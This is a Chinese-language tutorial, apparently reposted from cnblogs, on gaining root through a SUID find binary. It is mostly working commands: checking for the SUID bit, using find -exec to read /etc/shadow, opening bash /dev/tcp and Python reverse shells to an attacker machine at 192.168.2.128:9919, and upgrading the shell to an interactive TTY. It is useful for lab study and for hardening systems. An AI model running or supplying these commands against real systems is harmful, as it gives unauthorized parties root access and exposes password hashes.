find 命令提权

find 命令提权

普通用户find命令提权

先查看find命令有没有提权的可能

1. 查看find命令权限

方法 一、
# 1. 查看find命令位置
which find

# 2. 查看 find 命令权限
ls -l  /usr/bin/find   #  这是find 默认位置

-rwsr-xr-x. 1 root root 199200 Nov 20  2015 /usr/bin/find
# 有s 表示可以提权
方法 二、
# 用find 命令查找 有超级属性的文件

find / -perm -u=s -type f 2>/dev/null


2. 假如find命令可提权 有s权限位

权限位 u + s

权限为 4xxx

# 查看是否可以用root 命令执行命令

find `which find` -exec whoami \;
# 命令解释: 以find 命令 执行  whoami 命令。   
# find  (一个路径或文件必须存在)  -exec  执行命令 (结束)\;

可以直接执行命令

find /usr/bin/find -exec cat /etc/shadow \;

查看普通用户没有权限查看的文件。

3. 反弹shell

常规套路 ,2个机器。 一个开监听,一个执行反弹命令

用途 ip
攻击机(root 用户) 192.168.2.128 开监听
靶机(普通用户) 192.168.2.10 执行反弹shell 命令
3.1 开监听
# 监听 9919 端口
nc -lvvnp  9919
3.2 执行反弹shell 命令
# 用find 命令执行
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;

# python 方式反弹
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;

-p : 让 euid 为0 , 权限为root 权限

默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。

3.3 验证
# 在反弹的shell 中 执行命令
bash-4.2# whoami
whoami
root
bash-4.2# id
id
uid=1005(zzzz) gid=1005(zzzz) euid=0(root) groups=1005(zzzz)

此shell 为不完整的shell, 升级交互式。

3.4 升级交互式shell

# 在反弹shell 上执行

[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'   
#使用python,升级交互shell

[root@localhost ~]# ^Z		     
# ctrl + z 按键  挂起正在运行的程序 

root@kali64:~# stty raw -echo	      
# 输入这句后 在输入命令终端不在显示 

root@kali64:~# fg		      
# 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车

[root@localhost ~]# reset
原文地址:https://www.cnblogs.com/aaak/p/15718561.html